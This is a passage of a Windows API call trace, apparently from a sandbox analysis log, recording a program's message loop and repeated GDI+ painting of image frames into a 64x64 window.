FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.342] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0166.342] GdipCreateRegion (region=0x15dc20) returned 0x0 [0166.342] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0166.342] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0166.342] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0166.342] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.342] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.342] GetSystemMetrics (nIndex=42) returned 0 [0166.342] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.342] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.342] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.342] CoTaskMemFree (pv=0x1e91eca0) [0166.343] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0166.343] GdipCreateRegion (region=0x15d710) returned 0x0 [0166.343] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0166.343] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0166.343] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0166.343] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0166.343] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.343] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.344] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.344] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0166.344] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.344] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.344] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.344] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.344] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0166.345] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0166.345] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0166.345] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0166.345] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.345] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0166.345] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0166.345] GetCurrentObject (hdc=0x3b0106c6, type=0x1) returned 0x1b00017 [0166.345] GetCurrentObject (hdc=0x3b0106c6, type=0x2) returned 0x1900010 [0166.345] GetCurrentObject (hdc=0x3b0106c6, type=0x7) returned 0x1a05067e [0166.345] GetCurrentObject (hdc=0x3b0106c6, type=0x6) returned 0x18a002e [0166.345] SaveDC (hdc=0x3b0106c6) returned 1 [0166.346] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x320407c3 [0166.346] GetClipRgn (hdc=0x3b0106c6, hrgn=0x320407c3) returned 0 [0166.346] SelectClipRgn (hdc=0x3b0106c6, hrgn=0x2040b8a) returned 2 [0166.346] DeleteObject (ho=0x320407c3) returned 1 [0166.346] DeleteObject (ho=0x2040b8a) returned 1 [0166.346] OffsetViewportOrgEx (in: hdc=0x3b0106c6, x=0, y=0, lppt=0x272eeb0 | out: lppt=0x272eeb0) returned 1 [0166.346] GetNearestColor (hdc=0x3b0106c6, color=0xffffff) returned 0xffffff [0166.346] CreateSolidBrush (color=0xffffff) returned 0xa100190 [0166.347] FillRect (hDC=0x3b0106c6, lprc=0x15d7c0, hbr=0xa100190) returned 1 [0166.347] DeleteObject (ho=0xa100190) returned 1 [0166.347] RestoreDC (hdc=0x3b0106c6, nSavedDC=-1) returned 1 [0166.347] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.347] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3b0106c6) returned 0x0 [0166.347] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbd20dbd) returned 0x0 [0166.347] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.347] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0166.347] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.347] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.347] GetSystemMetrics (nIndex=42) returned 0 [0166.347] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.347] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.347] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.348] CoTaskMemFree (pv=0x1e91eca0) [0166.348] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0166.348] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0166.348] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0166.349] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0166.349] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x3b0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0166.349] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.349] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3b0106c6) returned 0x0 [0166.349] SelectObject (hdc=0x3b0106c6, h=0x185000f) returned 0x1a05067e [0166.349] DeleteDC (hdc=0x3b0106c6) returned 1 [0166.349] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.349] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0166.350] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0166.350] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0166.350] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.350] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.350] WaitMessage () returned 1 [0166.524] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.524] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.524] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.524] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.524] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.524] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0166.524] GetCurrentThreadId () returned 0xec0 [0166.524] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0166.525] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.525] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.525] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.525] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.525] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.525] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0166.525] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0166.525] CreateCompatibleDC (hdc=0x2d010b73) returned 0x3c0106c6 [0166.525] SelectObject (hdc=0x3c0106c6, h=0x1a05067e) returned 0x185000f [0166.525] GdipCreateFromHDC (hdc=0x3c0106c6, graphics=0x15daf0) returned 0x0 [0166.525] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0166.526] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0166.526] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0166.526] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0166.526] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0166.526] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.526] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0166.526] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.527] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.527] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0166.527] GdipCreateRegion (region=0x15dc20) returned 0x0 [0166.527] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0166.527] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0166.527] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0166.527] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.527] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.527] GetSystemMetrics (nIndex=42) returned 0 [0166.527] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.527] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.527] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.527] CoTaskMemFree (pv=0x1e91eca0) [0166.527] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0166.528] GdipCreateRegion (region=0x15d710) returned 0x0 [0166.528] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0166.528] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0166.528] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0166.528] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0166.528] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.528] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.529] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.529] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0166.529] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.529] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.529] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.529] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.529] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0166.529] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0166.529] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0166.530] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0166.530] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.530] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0166.530] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0166.530] GetCurrentObject (hdc=0x3c0106c6, type=0x1) returned 0x1b00017 [0166.530] GetCurrentObject (hdc=0x3c0106c6, type=0x2) returned 0x1900010 [0166.530] GetCurrentObject (hdc=0x3c0106c6, type=0x7) returned 0x1a05067e [0166.530] GetCurrentObject (hdc=0x3c0106c6, type=0x6) returned 0x18a002e [0166.530] SaveDC (hdc=0x3c0106c6) returned 1 [0166.530] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3040b8a [0166.530] GetClipRgn (hdc=0x3c0106c6, hrgn=0x3040b8a) returned 0 [0166.530] SelectClipRgn (hdc=0x3c0106c6, hrgn=0x330407c3) returned 2 [0166.530] DeleteObject (ho=0x3040b8a) returned 1 [0166.531] DeleteObject (ho=0x330407c3) returned 1 [0166.531] OffsetViewportOrgEx (in: hdc=0x3c0106c6, x=0, y=0, lppt=0x272f7e8 | out: lppt=0x272f7e8) returned 1 [0166.531] GetNearestColor (hdc=0x3c0106c6, color=0xffffff) returned 0xffffff [0166.531] CreateSolidBrush (color=0xffffff) returned 0xb100190 [0166.531] FillRect (hDC=0x3c0106c6, lprc=0x15d7c0, hbr=0xb100190) returned 1 [0166.531] DeleteObject (ho=0xb100190) returned 1 [0166.531] RestoreDC (hdc=0x3c0106c6, nSavedDC=-1) returned 1 [0166.531] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.531] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3c0106c6) returned 0x0 [0166.531] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbd00dbd) returned 0x0 [0166.532] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.532] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0166.532] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.532] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.532] GetSystemMetrics (nIndex=42) returned 0 [0166.532] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.532] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.532] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.532] CoTaskMemFree (pv=0x1e91eca0) [0166.532] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0166.537] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0166.537] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0166.537] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0166.537] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0166.537] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x3c0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0166.538] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.538] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3c0106c6) returned 0x0 [0166.538] SelectObject (hdc=0x3c0106c6, h=0x185000f) returned 0x1a05067e [0166.538] DeleteDC (hdc=0x3c0106c6) returned 1 [0166.538] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.538] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0166.538] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0166.538] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0166.538] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.538] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.538] WaitMessage () returned 1 [0166.697] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.697] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.697] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.697] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.697] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.697] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0166.697] GetCurrentThreadId () returned 0xec0 [0166.697] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0166.697] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.697] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.698] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.698] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.698] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.698] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0166.698] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0166.698] CreateCompatibleDC (hdc=0x2d010b73) returned 0x3d0106c6 [0166.698] SelectObject (hdc=0x3d0106c6, h=0x1a05067e) returned 0x185000f [0166.698] GdipCreateFromHDC (hdc=0x3d0106c6, graphics=0x15daf0) returned 0x0 [0166.698] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0166.698] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0166.699] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0166.699] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0166.699] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0166.699] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.699] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0166.699] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.700] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.700] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0166.700] GdipCreateRegion (region=0x15dc20) returned 0x0 [0166.700] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0166.700] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0166.700] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0166.700] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.700] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.700] GetSystemMetrics (nIndex=42) returned 0 [0166.700] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.700] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.700] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.700] CoTaskMemFree (pv=0x1e91eca0) [0166.701] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0166.701] GdipCreateRegion (region=0x15d710) returned 0x0 [0166.701] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0166.701] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0166.701] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0166.701] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0166.701] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.701] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.702] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.702] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0166.702] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.702] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.702] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.702] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.702] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0166.703] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0166.703] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0166.703] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0166.703] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.703] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0166.703] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0166.703] GetCurrentObject (hdc=0x3d0106c6, type=0x1) returned 0x1b00017 [0166.703] GetCurrentObject (hdc=0x3d0106c6, type=0x2) returned 0x1900010 [0166.703] GetCurrentObject (hdc=0x3d0106c6, type=0x7) returned 0x1a05067e [0166.703] GetCurrentObject (hdc=0x3d0106c6, type=0x6) returned 0x18a002e [0166.703] SaveDC (hdc=0x3d0106c6) returned 1 [0166.703] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x340407c3 [0166.704] GetClipRgn (hdc=0x3d0106c6, hrgn=0x340407c3) returned 0 [0166.704] SelectClipRgn (hdc=0x3d0106c6, hrgn=0x4040b8a) returned 2 [0166.704] DeleteObject (ho=0x340407c3) returned 1 [0166.704] DeleteObject (ho=0x4040b8a) returned 1 [0166.704] OffsetViewportOrgEx (in: hdc=0x3d0106c6, x=0, y=0, lppt=0x2730af0 | out: lppt=0x2730af0) returned 1 [0166.704] GetNearestColor (hdc=0x3d0106c6, color=0xffffff) returned 0xffffff [0166.704] CreateSolidBrush (color=0xffffff) returned 0xc100190 [0166.704] FillRect (hDC=0x3d0106c6, lprc=0x15d7c0, hbr=0xc100190) returned 1 [0166.704] DeleteObject (ho=0xc100190) returned 1 [0166.704] RestoreDC (hdc=0x3d0106c6, nSavedDC=-1) returned 1 [0166.705] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.705] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3d0106c6) returned 0x0 [0166.705] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbce0dbd) returned 0x0 [0166.705] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.705] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0166.705] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.705] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.705] GetSystemMetrics (nIndex=42) returned 0 [0166.705] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.705] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.705] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.705] CoTaskMemFree (pv=0x1e91eca0) [0166.706] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0166.706] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0166.706] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0166.706] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0166.706] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x3d0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0166.706] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.706] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3d0106c6) returned 0x0 [0166.706] SelectObject (hdc=0x3d0106c6, h=0x185000f) returned 0x1a05067e [0166.706] DeleteDC (hdc=0x3d0106c6) returned 1 [0166.706] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.707] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0166.707] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0166.707] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0166.707] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.707] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.707] WaitMessage () returned 1 [0166.971] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.971] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.971] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.971] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.971] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.971] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0166.971] GetCurrentThreadId () returned 0xec0 [0166.971] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0166.971] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.971] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.971] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.972] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.972] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.972] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0166.972] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0166.972] CreateCompatibleDC (hdc=0x1010b9d) returned 0x440106c6 [0166.972] SelectObject (hdc=0x440106c6, h=0x1a05067e) returned 0x185000f [0166.972] GdipCreateFromHDC (hdc=0x440106c6, graphics=0x15daf0) returned 0x0 [0166.973] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0166.973] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0166.973] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0166.973] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0166.973] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0166.973] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 